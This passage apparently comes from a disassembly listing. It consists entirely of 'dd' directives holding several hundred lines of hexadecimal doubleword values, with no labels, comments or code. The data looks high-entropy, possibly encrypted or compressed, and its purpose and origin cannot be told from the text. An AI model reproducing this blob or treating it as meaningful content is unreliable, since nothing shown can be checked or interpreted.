dd 74E59796h, 0E34A8898h, 0AD8F64BBh, 25C39608h, 575E549h
dd 6AA9BB91h, 95056E50h, 20663390h, 6D3583D0h, 115CEC47h
dd 6537A084h, 0ABCC54E2h, 105318C1h, 0C995A484h, 0BC5261F2h
dd 597005C4h, 0E3460D44h, 0EBC64A69h, 0E2D2E472h, 2C94BEB8h
dd 0B30FA7A4h, 296A4849h, 78BDA485h, 0AD14B652h, 3DE8EF14h
dd 62C26D7Bh, 0AA442BD7h, 152C3FCAh, 46EF0ECEh, 0D2527481h
dd 0E47DA6D8h, 0AE8233B0h, 7FC55C1Fh, 58C4FC6Bh, 0E84119FBh
dd 0E9275A68h, 0D04CED53h, 0CD5F1EDh, 0E659EB56h, 19EFD7E9h
dd 0E4B68D43h, 0C6ED20FBh, 0D9AA1170h, 70B1E96Ch, 0E0FFC0C0h
dd 31D03E94h, 97566CBh, 0E60B2830h, 35AE303Fh, 4C0218Ah
dd 0A7A9219Ch, 2478D440h, 461722Dh, 6A12FC89h, 959F2F69h
dd 5AF71458h, 0EC48E8A7h, 0CB1E1EC4h, 0CB89E3B6h, 9E60BBB9h
dd 0D0CD2805h, 0B21385E4h, 89C06F6Ah, 0AE497756h, 0E229898Ah
dd 0D3C97927h, 1491B3E1h, 0A1F08E6Ch, 404C1DB0h, 87923967h
dd 43056E54h, 0A30C226Ch, 919260DBh, 5E88C1BEh, 0AD265C99h
dd 6C3810DCh, 0C586F8C5h, 0C995B684h, 0AAD18971h, 90FC6366h
dd 9E0BF65Ch, 52B41AA3h, 0D9DE4BFAh, 0DCC91BADh, 0B485C1B4h
dd 296894C9h, 2EDDD685h, 0D11FC439h, 9C225DF2h, 0B7C39552h
dd 1B51A02Ah, 9DBC3F86h, 4164F28Ch, 0DBEBDD85h, 3E06BDAEh
dd 0A8513809h, 8435009Ah, 1BC9E372h, 0FDCAF851h, 0B26C10D9h
dd 30019655h, 87203D04h, 9F056E56h, 0D1A59A0Dh, 91760804h
dd 2A0F24BEh, 7424CB9h, 3A6BF520h, 0E8521412h, 4085C20Fh
dd 0FDAE5E2Dh, 82FE3343h, 0D3DD33B0h, 134BA12Ah, 0E6AE0027h
dd 18BADFA8h, 8E89BCA8h, 9E9D3Ch, 0A55FA0E2h, 8C5C108Eh
dd 0B6CE8931h, 271C29B5h, 16B1A03Fh, 71839FC8h, 7067A184h
dd 2A62FF61h, 0FC79A1DCh, 0E37E3FB0h, 57350066h, 68D9627Bh
dd 9843E5FBh, 0A0765878h, 4C099446h, 0CD1F1E8h, 9D557A1Dh
dd 0D136D7B8h, 0F926F086h, 3AB0CBFEh, 525723B1h, 7CFC9369h
dd 0B5845C4Ch, 0C997767Ch, 7082B17Bh, 78B671DCh, 96566D0Bh
dd 147F6C26h, 0B723C877h, 30BAFA21h, 0D8D8E4A0h, 0A28E4947h
dd 7DBAB4E0h, 81FF0B5Ch, 0BAFC8FA4h, 32F4C668h, 53915CC7h
dd 94B4BAC4h, 789887B5h, 0CDC87669h, 0FE7AD553h, 0F9E7980Dh
dd 9C68EC13h, 93EE35F6h, 68CAEDBEh, 3A603608h, 0D7C9F55Eh
dd 44A4B462h, 0E9FA9167h, 0DF63B206h, 899DF703h, 7DBCD413h
dd 24A08F2h, 0F28787Ah, 4E78E45h, 4A95B190h, 3F507B36h
dd 0A82E766Fh, 9629D877h, 14E6ADABh, 0B723A877h, 576ABA21h
dd 4DC27F9h, 0A2D71889h, 9582ACD0h, 0D17F4DAAh, 0B7ADC071h
dd 0E446CEE0h, 16F1DFB2h, 0CBD39FC8h, 5AF48701h, 771BBAE6h
dd 298DA1DAh, 9EDA579Dh, 53A0E88Ah, 474A897Bh, 980964AEh
dd 0A734AF5Ah, 448A154Ch, 5FA4B47Bh, 0D5583502h, 0CCF65765h
dd 1E69843h, 0BA2038FEh, 7D2DD89h, 9352F660h, 0E0EBEAADh
dd 0BDADDA94h, 6BD7DF2h, 0F5752405h, 0B3DF39B4h, 14C10126h
dd 0B12F64F4h, 0B9B3C8FEh, 6789DD4Ch, 2984076Fh, 819963CCh
dd 0D17B4ED1h, 0B6BE121Ah, 7614FF38h, 13DDE5B4h, 0D2483FCAh
dd 0C739464h, 30D37C6Dh, 0F861A1D8h, 72463BB8h, 4F350098h
dd 0B5A38090h, 7DD90356h, 67F08A81h, 9E13F94Dh, 77603F37h
dd 1608E73Ah, 0D566C7F1h, 1B55537h, 2A9714F3h, 7424D39h
dd 3A6BF620h, 0E8521212h, 9A85C60Fh, 72D805A4h, 1D252C75h
dd 96564673h, 2DD1F5A5h, 6B271D87h, 0ED383477h, 0D068BE5Bh
dd 0EAD84F92h, 28DEDB18h, 5A24AB58h, 3DC114B7h, 0ADAB997Dh
dd 2B61A87Ah, 92001E31h, 0FF75464h, 31D37C6Dh, 20DE27D8h
dd 0B1054A36h, 3735009Ah, 0A3EE35F6h, 0ECAEDBEh, 0A8B808B0h
dd 40BE3995h, 0F3ED317Dh, 7AED3E47h, 566C78Ch, 918D89A0h
dd 58B0A84Fh, 781163Ch, 9352F6E0h, 0E0EB19ADh, 0BDADD494h
dd 6BD61F2h, 0F5751C05h, 0B3DF29B4h, 14C12126h, 0B12BA4F4h
dd 0B9B348FEh, 6796DD4Ch, 2982066Fh, 819D63CCh, 0D1734ED1h
dd 46CD3971h, 53CB8538h, 1714672Ah, 83D07AB1h, 6764F28Ch
dd 32179BBDh, 7F924AB9h, 0DF3A9EF5h, 3DDDFF66h, 0B8C9897Bh
dd 55CC87B6h, 6C33C16Dh, 9E13DE52h, 77603F35h, 1608E726h
dd 0D566C789h, 1B55507h, 2A9714D3h, 1424DF9h, 30B3447Fh
dd 85C8861h, 0C995AA27h, 9F1FFAABh, 0F5351BC7h, 0D5DCBFC0h
dd 4429012Eh, 0BBDCD78Bh, 0DC321C6Fh, 49137A4h, 0E906108Fh
dd 958AAAE9h, 0D16F562Ah, 0C24181ABh, 0D915163Bh, 0C64DE3B4h
dd 0D29F0E81h, 0EFDB464h, 0E392A66Dh, 8F06E725h, 0B2FA4C0Ah
dd 0DB20E8CAh, 84907684h, 9DCAD1FCh, 0DB55D386h, 344C9D08h
dd 0BCD28545h, 0E421D358h, 5113D785h, 0B5CB0C34h, 2AA0A8DCh
dd 0B9424D99h, 93B955E0h, 0E00F99C5h, 21C65FF6h, 6268E2Dh
dd 934CFF69h, 9657BE73h, 0EBC50AA5h, 6B6B4BFAh, 9FB697EBh
dd 9FD23EECh, 0A0C85741h, 3E29B0D6h, 0FD28C799h, 3FC1477Fh
dd 65268D7Bh, 73122977h, 0A0839CCh, 4DE9EECFh, 0C547645h
dd 1DDA14D8h, 353404AEh
dd 2F35009Ah, 73EE35F6h, 0A8CAEDBFh, 1359360Fh, 0C0A89162h
dd 0F315DC78h, 0E9617E46h, 5C66C7B4h, 0B4FF6CFBh, 2AB0A83Eh
dd 14EA13Ah, 9B145FFh, 809F1ADh, 0C995AEC7h, 59CB0ABh
dd 0F5751030h, 0C65FE03Fh, 0EB3F93CEh, 0A7A9B188h, 20765C4Ch
dd 8F90DF5Bh, 206A14CCh, 0E14EA2FFh, 88674EC0h, 53348F31h
dd 0ADE0CB67h, 0D5D55072h, 83007A4Ch, 54087B8Ch, 2DA872AEh
dd 0CE85E451h, 3B5E3A1h, 9C737448h, 52CDAD37h, 0F98E677Fh
dd 63BA848Eh, 3248E789h, 4F44344h, 1E716DA9h, 5BEE0DB4h
dd 6B034044h, 0CA716987h, 0DB8A4F51h, 7CD8D3A8h, 318653C4h
dd 8965A07h, 0FFAD7B1Bh, 27F0A7C3h, 91DFABC0h, 0EEB42B61h
dd 0C6644328h, 63B6DCACh, 8F92B7A4h, 29A9A841h, 2EA0A495h
dd 0C147025Ah, 0BF5D5879h, 2AAFC1B3h, 5E1BA7D4h, 0C18379C9h
dd 7CAD77C5h, 0A537498h, 0CC46BF59h, 0BBDE3B9h, 5D34EB50h
dd 66C9B3FBh, 141A6445h, 0D3BE104Fh, 0C04C1D05h, 870A08E7h
dd 45056E4Ah, 782A4CCEh, 0B52A8207h, 0A37F210Eh, 88CB0981h
dd 0E42A986Ah, 95DD1E55h, 965D3076h, 0AA49B8A9h, 0FD5144BBh
dd 9A73C93Fh, 152A5BAFh, 0E21A2835h, 0DED0A5DDh, 8C1974E6h
dd 0E90B1644h, 0B52B52E0h, 6ED28D8Ah, 0B76104F2h, 26BC29B5h
dd 0FF1A03Fh, 0DF0B2D17h, 4C6FE2A8h, 1797EB49h, 0C0A59151h
dd 778C2C2Dh, 23418B45h, 0F340CF6Fh, 68CAD53Fh, 0C7EB5A83h
dd 0B8C55A26h, 9715A2E1h, 9D468538h, 5372E3D1h, 0C22609A5h
dd 2AA78A06h, 5A86CD19h, 0ACBDD660h, 203E57B0h, 0ACEE4DBh
dd 0A0D9027Fh, 0F6B58768h, 7EAB7D37h, 14C18135h, 217168FEh
dd 4CB40F38h, 1F032734h, 0B91C845Ch, 2C3C3405h, 0D14B4EECh
dd 932589F2h, 0A77FE730h, 5CC1A0D6h, 90405741h, 9E1F28Ch
dd 2807FF50h, 62699751h, 7F594E34h, 84F9899Bh, 37890273h
dd 285A2EEFh, 0B0360Eh, 971A4E10h, 0C39E9FFh, 538C660Bh
dd 50234C6Dh, 18666CECh, 25702D38h, 5242ACBDh, 604596A9h
dd 4E8A9A45h, 4295BB84h, 29306FB7h, 7E750030h, 0D56C9DF7h
dd 47CEC636h, 0E236F69Fh, 1CA186A8h, 8F03BBABh, 0DEEB14CCh
dd 9AAA496h, 0DB3D18C5h, 0E7AD4179h, 266C17D0h, 50F5233Fh
dd 6BF03FC8h, 0FBA1358Bh, 2917FF6Dh, 0C475A1DAh, 363C3FB0h
dd 0B2BE0EEEh, 0DF9C0282h, 0D48A3D90h, 0AFD83FCEh, 0CBA06895h
dd 0C4A65878h, 656E508h, 19EF1644h, 650B3057h, 6F77A1BDh
dd 52424821h, 98459269h, 1C4A0692h, 0D9D61FD4h, 7C549A2h
dd 31F743CFh, 6A1286B8h, 514B5927h, 6FC0618Bh, 0CCAB0FEBh
dd 9F154DA5h, 2902694Fh, 95DBAFE1h, 0D0935D2Ah, 0C21981ABh
dd 56BD1030h, 0A1EEF2BAh, 87371CBEh, 410FA8Ch, 9F6173Eh
dd 0A4DCE451h, 7730CBB0h, 6F50F763h, 86427954h, 8C1B6442h
dd 33C2245Ah, 2CC54641h, 0ABD775Bh, 4305496Eh, 0A30C23E0h
dd 919291C3h, 5E88C3CEh, 0AD2658F9h, 6C38191Ch, 0C586E845h
dd 0C9959584h, 0AAD44F71h, 90FDEF66h, 9E0AFE5Ch, 0E2E67075h
dd 1D6E3877h, 0DCDCA3BDh, 0FA5DB2B4h, 0C1FA7EC4h, 7D8ABCEAh
dd 2CCA8988h, 0B7C104F2h, 91FD6B3h, 731F3C0h, 8480A0A9h
dd 89CC198Ch, 1B9C1328h, 740CE4DAh, 0C2FC4C11h, 83708BCBh
dd 0DBA8612Dh, 5949EDBAh, 49B81080h, 0A40996F7h, 9F6C5C57h
dd 955C6E14h, 6D993A28h, 0CA285673h, 4E40E625h, 52424510h
dd 80B118E9h, 0E00B4E98h, 0C9B22A09h, 0ACD8A5F2h, 0A32751B9h
dd 0FCA14CE3h, 1CD3296Eh, 6B670877h, 0A8E11A6Bh, 5B75E4FDh
dd 70F814DAh, 0F49CE11Eh, 95000E92h, 0F38A8DE2h, 0A2FFF6Bh
dd 5E38C057h, 8905F151h, 0FD6498DCh, 4EAFF78h, 0BA426D41h
dd 0EA3CC3B6h, 7ACA0AEEh, 0E3C975EDh, 0E3212B33h, 13632B01h
dd 0C0B1190Bh, 78D28910h, 1C7091E9h, 0A0F6D39Eh, 57FF19BBh
dd 0D239AF55h, 0BA115D52h, 93C7EFC2h, 94F90A1Ch, 897DC183h
dd 0A0D8A7FAh, 0AA8B78B3h, 550A3EEAh, 14E54DABh, 0B13FE877h
dd 0DC375540h, 0A5DBEA4h, 43F1610Ch, 6AEB4C94h, 51DE4ED1h
dd 484E0089h, 534F6AC7h, 0FB5E3B4h, 79A06FBEh, 0D5B7E28Ch
dd 517E9BEh, 0CA858E08h, 2644CFE0h, 0C7F65B8Bh, 0E3EE35F0h
dd 8ECAEDBAh, 0A017AF0Bh, 2811681Fh, 852DB401h, 163120F0h
dd 0CCC59F7Dh, 79660935h, 2AB0A0CDh, 0D64D89DCh, 6C3818BFh
dd 0E01AE92Dh, 0C6551584h, 0F9D86076h, 0E2ED4430h, 62BF6DB4h
dd 0FCC2E131h, 0E23FD428h, 0DC3DE540h, 0D79B48A4h, 92F6143Ch
dd 6D904931h, 0C37C4B3Ah, 36BDC771h, 59E631C3h, 0B662D22Fh
dd 85C07AD0h, 31408E0Fh, 856C8A6Dh, 3775BC6Ch, 4CC7C7E5h
dd 5FD8A420h, 6CCC626Dh, 39096EA9h, 81972808h, 333E0D19h
dd 7775B9FDh, 4EE7E1Ah, 5C9E56D8h, 1D541DBh, 0D5A0AB66h
dd 0A50ECC6Dh, 51BB0829h, 0F00F76D5h, 2170E484h, 0F9D8B22Dh
dd 0F56192D8h, 9C92BDB4h, 29401126h, 0F23F5EFBh, 0B4132BA8h
dd 8F9FB7A4h, 0A54614A6h, 2D82A463h, 2DF35B2Eh, 0B26614F2h
dd 491B63B4h, 5FF1A03Fh, 45B169AAh, 4067E667h, 7214F349h
dd 0D1858E59h, 1EB9D23Eh, 4734B8C2h, 4192897Dh, 485AEDB6h
dd 7A603600h, 4C11964Eh, 23DC188h, 95081BC7h, 5C969E48h
dd 950309C3h, 7D5B6A5Fh, 2643B29Ah, 6EC398ECh, 0B35981B0h
dd 999DD70Fh, 626631Ah, 81B421CFh, 1D040B8Ah, 0FC930963h
dd 1DC07948h, 27A15821h, 0A8FC2A5h, 7FE86133h, 3817A4FFh
dd 78131ED9h, 3256FB0Ch, 0DBEEE1E3h, 4EA4A3C4h, 0CFCB2917h
dd 0A88CA284h, 85E80093h, 0A879191h, 45414E0Ah, 8D685BC5h
dd 3E598971h, 28CACAC6h, 0B03600h, 971A4E00h, 425F187h
dd 0FEC46DDEh, 5286077Fh, 0D176B956h, 0DD39AA7Eh, 540AEF8h
dd 6C251141h, 0A586D045h, 0BC55167Ch, 6DDD68E3h, 0F564A0C6h
dd 0A75745B4h, 16FDD8E6h, 7A9E6877h, 5732DEADh, 8EE5A3B1h
dd 123515DCh, 69EB5CD0h, 0D563535Ah, 2F3014F3h, 59EB943Dh
dd 9ECF29F8h, 87EB78AFh, 0B61CB707h, 28CD76AEh, 14556D93h
dd 0D7494E32h, 23B8027Bh, 37DC007Eh, 0D4DAECBFh, 25F1FA73h
dd 45D4BEC8h, 78CA40Ch, 95156EF0h, 9F5FC2CDh, 0ACF50496h
dd 3AB05AC6h, 20C746D9h, 0CD381B68h, 0F00F794Dh, 4061D90Dh
dd 0F92839EFh, 1311720h, 55D44E3Dh, 94A6F22h, 0F23FB8F7h
dd 0DCD29B09h, 0FB2032B4h, 5F3A2DC8h, 0F9852D93h, 59E34E21h
dd 0B7990902h, 5B421538h, 5FE1209Eh, 3A84F751h, 0CFE45170h
dd 179CEF6Dh, 2F8514D1h, 12B4377Ch, 0B6B5009Bh, 51270A7Fh
dd 1CCE2E38h, 7C33230Eh, 0FBB04596h, 87DD2C3Bh, 2D371912h
dd 5C96563Ch, 30647EFBh, 3AB05AD2h, 0C54D8FC0h, 6DD898F9h
dd 0BFFCDCCh, 39013C97h, 3FE1A3F2h, 76A40F3Fh, 56D7B454h
dd 0E486D824h, 9CF6DFCh, 7C176498h, 0F8F13754h, 0D97FB5D9h
dd 0BBA3B495h, 533FD9DEh, 77020512h, 0A89E1C3Ch, 0FBD0B3D4h
dd 0B3907AB1h, 0EE73FD4Ah, 80161FEEh, 440CE291h, 0FEFC4C05h
dd 27C5B038h, 0B379286Dh, 9941FDBBh, 2CC38F0Bh, 0A809940Bh
dd 0AC58748Ah, 9FE9338Dh, 0ECC72E58h, 18660903h, 0DAEC2F32h
dd 0E2E35999h, 55281A19h, 0E0FF24C0h, 6880E094h, 0E9D84542h
dd 0F5843893h, 1D5D56A4h, 5448A963h, 0E7A818Fh, 55CBDA23h
dd 0DA6A4BE7h, 0D1BA9D24h, 0F588F11Eh, 9560B28Bh, 4FCA8D1Eh
dd 0B86A65B1h, 768B293Dh, 8F32F383h, 8EC5C105h, 8507FF9Dh
dd 0F3D9614Dh, 0C52D7F5h
dd 0DF990564h, 0DF68997Dh, 7EDAED4Bh, 1C6F56B2h, 0B54C0D1Ah
dd 80D5370Dh, 17BD887Ah, 0B766C601h, 6DB58A9Ch, 0D595A9B5h
dd 533DB646h, 907D9359h, 0E0027BCCh, 40159F84h, 95816F1h
dd 0F1F98030h, 66D40604h, 1486126h, 0F23C18F7h, 9EAADC23h
dd 0FF7BC58h, 0A2F1143Ch, 7C6B58D0h, 59674ED1h, 44348FF0h
dd 0A83B80B3h, 9938B03Fh, 0A2029B80h, 39E4FF46h, 4F9E7F6Dh
dd 1C66955h, 0F5A02FA5h, 0AF6CFF64h, 63C9897Ch, 5491B3E4h
dd 21F08E62h, 404C1DA5h, 87923909h, 43056E08h, 0B0E52394h
dd 0C6205927h, 6F3B713Fh, 5182C951h, 0E13AF2A8h, 1E8C89B5h
dd 7790EB80h, 0F9D8B9F6h, 0C04F7301h, 86545D2Ch, 21F85351h
dd 0F23C38E7h, 50820DDFh, 0B6F2B754h, 0F9791B0Ah, 0F5614416h
dd 0C308BE94h, 0B8899053h, 574DAC28h, 0B81270A8h, 8900F940h
dd 0B294B705h, 3EFC0F28h, 0F725D16Ah, 17CED7F5h, 1FC59C3Ah
dd 1C0FB06Dh, 0DD493D2Ch, 68F3508Eh, 2BBC589Ch, 77891519h
dd 0D03C7E0Ah, 0DFB65116h, 51F50BEBh, 0DAF52318h, 0DBB20FF2h
dd 0C099EE6Ch, 0D91F8AB5h, 89E86DC1h, 0F9281753h, 1310120h
dd 0D3DFA35Fh, 15931CD2h, 69C8FDFEh, 2C7FDAACh, 4C6A27A4h
dd 99BD449h, 7C922434h, 2C1FCDC1h, 0BB14C7CBh, 0D167CEB3h
dd 637A5C62h, 83F38D78h, 318A907h, 0FD620330h, 0FF61368h
dd 764DBA76h, 0F00CC0E7h, 0EB9FAB0Eh, 0E23511C4h, 23F356D6h
dd 404E2091h, 779D150Bh, 538C7E0Ch, 0D97A4DE1h, 8176FA4Fh
dd 235B9165h, 52B6379Ah, 21C71E97h, 0C9F70331h, 25D01374h
dd 0F6DC4571h, 0F575FDB2h, 66CC3CB4h, 51FA9126h, 430AFF9Bh
dd 0CC2C6F38h, 0F80FF29Dh, 0D960B5DFh, 3955B495h, 4C413Dh
dd 3168E471h, 4C80717Dh, 5821349Eh, 64054351h, 0BBB46583h
dd 0C894FE8Dh, 0EFC06D53h, 915D827Eh, 0FF95A1AFh, 76F0997Dh
dd 0DCDC9A57h, 0FC332313h, 0CFA0582Dh, 67AE6483h, 12C5ED0Fh
dd 0B7828398h, 61D2AB0Fh, 6F89BAFEh, 82D545D5h, 0EF39FD2Ah
dd 0A5868385h, 2DD01060h, 7230FA7Bh, 0B04D7475h, 76D08A5Ch
dd 9FC3B126h, 0A7B59434h, 3C71E448h, 0CA6F00D1h, 0ACE9D338h
dd 6C6E54C9h, 0D0D74ED1h, 81A54179h, 588B393Dh, 0B37ED52Fh
dd 24058547h, 9AF4F27Ch, 19170FC1h, 5100D8D2h, 76A9C705h
dd 0FB605EEh, 0C82FF57Bh, 0A5896684h, 27EF961Ah, 5C7C139h
dd 7B6F3DC5h, 9DE53A5Bh, 1EEF1AA8h, 6533815Bh, 7635B1F5h
dd 27524429h, 987D8A64h, 69D3E84Eh, 39D6F190h, 0BC53F1F2h
dd 7070B7D8h, 8654FDE8h, 9120E4AFh, 6B1F3DB7h, 81A1FFF5h
dd 67A93C78h, 755F0845h, 0F758A465h, 0D52AA694h, 0A8D9F45Eh
dd 1EC08646h, 0AABD03D7h, 852B6A41h, 0B8B8B707h, 3F9E072Dh
dd 33C06FB1h, 3945847Dh, 25BCDCC9h, 339C0287h, 3636B73Fh
dd 2FBA33D5h, 2C099697h, 65EC76AFh, 3FDCE6D0h, 58274F38h
dd 199F0922h, 0A1B0ADDEh, 90CBA8BCh, 0E53AE3E8h, 69DE959Ch
dd 0CA0371C5h, 0BA539619h, 1131B1CCh, 0E3B0288Fh, 0E0B95A11h
dd 0BEBF2CB0h, 0DC385F58h, 4ED37A4h, 2CE2E089h, 6C4A5439h
dd 0D6E401A4h, 486D010Dh, 0F7FA8538h, 0D961A0CFh, 7CDCFF7Dh
dd 47E4E28Ch, 7CEF7C68h, 0C06E022Dh, 2741847Fh, 32BEE0D9h
dd 278C029Fh, 1636AF3Fh, 69B837C5h, 0B80E948Fh, 0BCD9F1ACh
dd 0E659EAC8h, 5113D6E5h, 1A824F38h, 3E394DFBh, 52B2181Ch
dd 0E5C689F9h, 0E2EF7D3Dh, 0BA3AC0Dh, 70DCA77Fh, 7FDCC75h
dd 9654B735h, 40754126h, 0F2B3F4C7h, 5FD1DA23h, 0D1B2B364h
dd 74349D97h, 29AB2D56h, 2F61AB58h, 0B82DAC9Ah, 2F13FD28h
dd 0A535B03Fh, 8D407A74h, 17ED968Ch, 6417FF6Dh, 0A08908D2h
dd 0CF3090A2h, 8B70C774h, 0F3C9897Fh, 0FD3C7917h, 0E476EA80h
dd 0C0262D1Dh, 8728D6C8h, 53C236D6h, 5C66C61Dh, 993381BBh
dd 0D6C145EEh, 0DB1BBB46h, 21BBE4ECh, 0E2E740B9h, 228A7784h
dd 11D88DFBh, 0F574358Bh, 0EBD7A6EDh, 1989F1C2h, 0B233ADFCh
dd 0DC2A0540h, 0CA676EA4h, 0CDA49728h, 945DD195h, 0D0074FAAh
dd 0B8BD0435h, 1EB09538h, 0EFFFDBh, 0E9F037CAh, 2DE4FF05h
dd 899EFF6Dh, 0A615270Ch, 0AE9D9B7Fh, 57A4FB1Dh, 67C6897Fh
dd 0DDCAED77h, 57B099EFh, 0C340613Eh, 9F52EDDAh, 62984B27h
dd 0DF76C61Eh, 0E80A0B38h, 55F3560Dh, 0CF66BA2Dh, 7C38E4B1h
dd 9C634446h, 0BB71F3ECh, 0DD27EE8Dh, 0F59014ADh, 16AFECA4h
dd 68FCE126h, 66C04923h, 0A3291FA8h, 12CA48E8h, 39C6F0C8h
dd 7CF45F14h, 0AA774ED1h, 0B81EFF73h, 3E7F9538h, 0A010B240h
dd 8DC07ADFh, 0D6E5A9F8h, 6617FFCCh, 0D66ED725h, 0A20E3C75h
dd 4649009Ch, 931E72FEh, 3AB5EDB6h, 50AEF76Eh, 415C1D8Ah
dd 872AACD9h, 0FD271BDAh, 5CDF2EF9h, 91B10ACBh, 2AB0AD88h
dd 5242E590h, 6C91E829h, 0E0C8BE45h, 0C98A7186h, 0F9D87B1Bh
dd 0F5EDC030h, 969355B4h, 14FD112Ah, 0E23B289Eh, 0DCA0B7A8h
dd 8F2837A4h, 29C714C1h, 0BAD77Eh, 177F4ED1h, 0B8A10FF2h
dd 0B37D7E38h, 5BF1A050h, 8D917A86h, 750FF28Ch, 67179D85h
dd 0F0852351h, 75B9C7F4h, 4760E8D0h, 830E897Fh, 1DCAEDBCh
dd 64DBEC7Ah, 874C1D69h, 872DBC23h, 0FE3784DCh, 5C66C6CEh
dd 916E0A14h, 0F5BAC6Eh, 52426BF1h, 7038C4E9h, 0B0FBEC5h
dd 0C9AB9A9Ch, 0F91FEDF2h, 0F5742410h, 82BC565Fh, 0D3FD0126h
dd 0E23B9A77h, 51E9C4A8h, 8FEFB71Bh, 297B99CCh, 945CA495h
dd 0D07B422Ah, 7BA1C471h, 5ACC29B5h, 0DD1A03Fh, 0EA704802h
dd 7954C2CFh, 8C941AE4h, 0ACD3B759h, 0C7323BA1h, 47708B90h
dd 0B5CDC988h, 8CAEDB6h, 14765AEAh, 495C58E3h, 0C2A04869h
dd 0EA46E626h, 0D76AB57Ah, 6FF502A0h, 0A7C1D881h, 2EC13335h
dd 18380726h, 6D5AEF00h, 9D7563EFh, 0A785EB7Dh, 70787DBBh
dd 0EE673174h, 1C86BA1Ah, 0E2468024h, 18A9DFA8h, 9F9BBAA0h
dd 0E92D479Ah, 0FF5EA495h, 0DCFA4615h, 33906E84h, 0B2F31A7Ch
dd 5B31A167h, 3B8F7ECAh, 7B1BFECFh, 1A9CF7E2h, 8B896959h
dd 7D36F37Fh, 3735B83Dh, 0B622897Fh, 4DA160E3h, 44602CFBh
dd 404C1DEFh, 0DA2570AEh, 16056E78h, 2399B8Dh, 0CC9A83B8h
dd 2A0F218Dh, 74245D9h, 641C4FE2h, 0A184904Eh, 88012C98h
dd 0A530A1EAh, 76741C30h, 54094570h, 996D2122h, 0B73B6F0Bh
dd 8A79FA21h, 8F9AE2F3h, 1AA14A6h, 8348A4E0h, 289B46A4h
dd 0E59904BDh, 0D390CB67h, 0D0D2FDD3h, 45C45E0Dh, 2F62F6CDh
dd 63AFFF6Dh, 8B85E451h, 0B6FD4CFBh, 1B618B94h, 0EBCB006Fh
dd 0BDCAEDB4h, 4B8F5E55h, 0C04C1D6Bh, 870A08A3h, 45056FC2h
dd 18ED91DFh, 0FB261ACFh, 5F80C4A0h, 0AD2655F9h, 6C38031Ch
dd 0C586DC45h, 0C98A7D84h, 0D9FCB779h, 7E7C40BBh, 68D6B9C4h
dd 2FD325D9h, 961F0C03h, 0AA1ED280h, 6423B2Fh, 0A0CB3080h
dd 0D9A8DDh, 0A56F4A62h, 0B9806CE0h, 1E509538h, 0E99A88Ch
dd 4D807A41h, 0C5EC41D8h, 66989BAEh, 0C185E451h, 0D1B50377h
dd 0B7F65BC2h, 43EE35F2h, 0ACCAEDB7h, 21B8B756h, 404C1D6Bh
dd 0B729CDAEh, 63156FB1h, 50374D95h, 0A87A5878h, 2FC5A47Fh
dd 52424421h, 0D3B5C1E9h, 0E00FB8C5h, 0C9ADC209h, 0AAD8F5F2h
dd 5C0AF61h, 9CBEADB4h, 0A0461075h, 692B0887h, 97A297E5h
dd 8BB23EACh, 70CC7F45h, 7C2066CEh, 40FBDE41h, 28199462h
dd 0CA3B05A8h, 31C130AFh, 0A3401241h, 2E0EF28Ch, 9103EA92h
dd 5F26F451h, 0FA9C6F1h
dd 0FFA00F5Ch, 0B0C869FCh, 5CCA923Ah, 0FC32D60Ah, 0D859E23Ah
dd 403DB4D5h, 1700F3C3h, 5C66C691h, 6EFFC9FBh, 2A9710B3h
dd 0D94245B9h, 3C3C26EDh, 7CAEBB2Fh, 999A7E81h, 4C4E20Dh
dd 78B70030h, 9655A50Bh, 1442FC26h, 0B738E877h, 99A03A21h
dd 0CA7967A8h, 29AB44C4h, 7D233834h, 0C5981EC1h, 0A971F9D2h
dd 0D72B5665h, 0DFB18743h, 0E3045E05h, 0B545F2E6h, 3D07FE68h
dd 38A1F1AEh, 0B7AD7F4h, 17350023h, 6376047Fh, 8ECAEDB7h
dd 887758C0h, 40264D66h, 86282888h, 3FA3FD8h, 4C663BB5h
dd 6E4BC88Ah, 5F4F53F1h, 0B9B4775Dh, 0E5E68B6Bh, 2354E535h
dd 0C9ADC409h, 72D8F9F2h, 0A5702874h, 0AF4ADDEh, 44ED6023h
dd 1F14DD88h, 1CAE0FA8h, 0C2222ABh, 0A40D152Ch, 0DD2083E9h
dd 0C063BE15h, 0C96CFBA2h, 0FB9B95C4h, 449150F7h, 0C3D58511h
dd 8874F270h, 7E170FA1h, 0B7901B01h, 23A9C708h, 0F35F04Ch
dd 63DC762Fh, 0FEDAED4Bh, 0FCA34307h, 50DC8DF5h, 17BD24BAh
dd 4595FF5Ah, 5C66C222h, 0C72800Bh, 3AB05CDAh, 473686FCh
dd 5C2DFD79h, 6B1FBAB8h, 394EE480h, 1188EBF2h, 0A8BE26Bh
dd 6DD6D6EDh, 0B527ED2Fh, 0F23858B3h, 0EC3EA0F8h, 2EE33759h
dd 39CFE404h, 4C375BC5h, 714F4E2Ch, 0A961F43Eh, 6A8E6A68h
dd 0F5E1A0C2h, 0A3808A91h, 18F10DDCh, 3407FF90h, 9C7A6D92h
dd 123A227Dh, 5ABE5398h, 9EF50A77h, 0DCA1D73h, 4662A697h
dd 0BA09F57Dh, 0E744BD4h, 0D6809389h, 5D0CCEE0h, 917C3DFBh
dd 29DAF5EEh, 0ADBD88F1h, 50BB5C16h, 0E0FF7E58h, 0DFFF7A94h
dd 0A924B879h, 90411CFh, 0D3DE8DB4h, 89F908DAh, 0F23878B3h
dd 995F9543h, 4B1BE758h, 7033EB25h, 60C4A7FFh, 895B4ED1h
dd 7DF40079h, 0A7B95C8h, 0A8A5B5C0h, 391B6A41h, 0B8A7AF60h
dd 683043E0h, 4085E451h, 71BDE3B0h, 0FFF18598h, 0CC99997Fh
dd 7D3695A2h, 53BE1087h, 0C04C1D64h, 870A08B9h, 43056FCEh
dd 0B0E72318h, 91760B9Fh, 0A1E7FAADh, 17855664h, 6C380511h
dd 5C4A7245h, 0C98A7B84h, 70D0BA79h, 0B0FFC875h, 5A100CB8h
dd 140DF4E1h, 84386877h, 0DC629A6Fh, 37B1BAA4h, 0D6327C9Ch
dd 0F17DDB6Ah, 3807F894h, 0B9511585h, 0D36B51BBh, 2BF125F9h
dd 0B03BFA4Ah, 0A8346783h, 0AF9EFE8Dh, 7BF86737h, 7BB1B2D1h
dd 0B2BCFFDAh, 0AACA62CEh, 18415DC4h, 29F45A2Bh, 175263BCh
dd 4B683896h, 0DE5090C0h, 0D56A01EEh, 51F3C7E6h, 0E233A7BBh
dd 5398A926h, 11390969h, 86FCAC35h, 0EC3C2907h, 7ABE2E86h
dd 80770A4Dh, 6610863Eh, 14FF1ECFh, 0A738F77h, 0DCD01FA8h
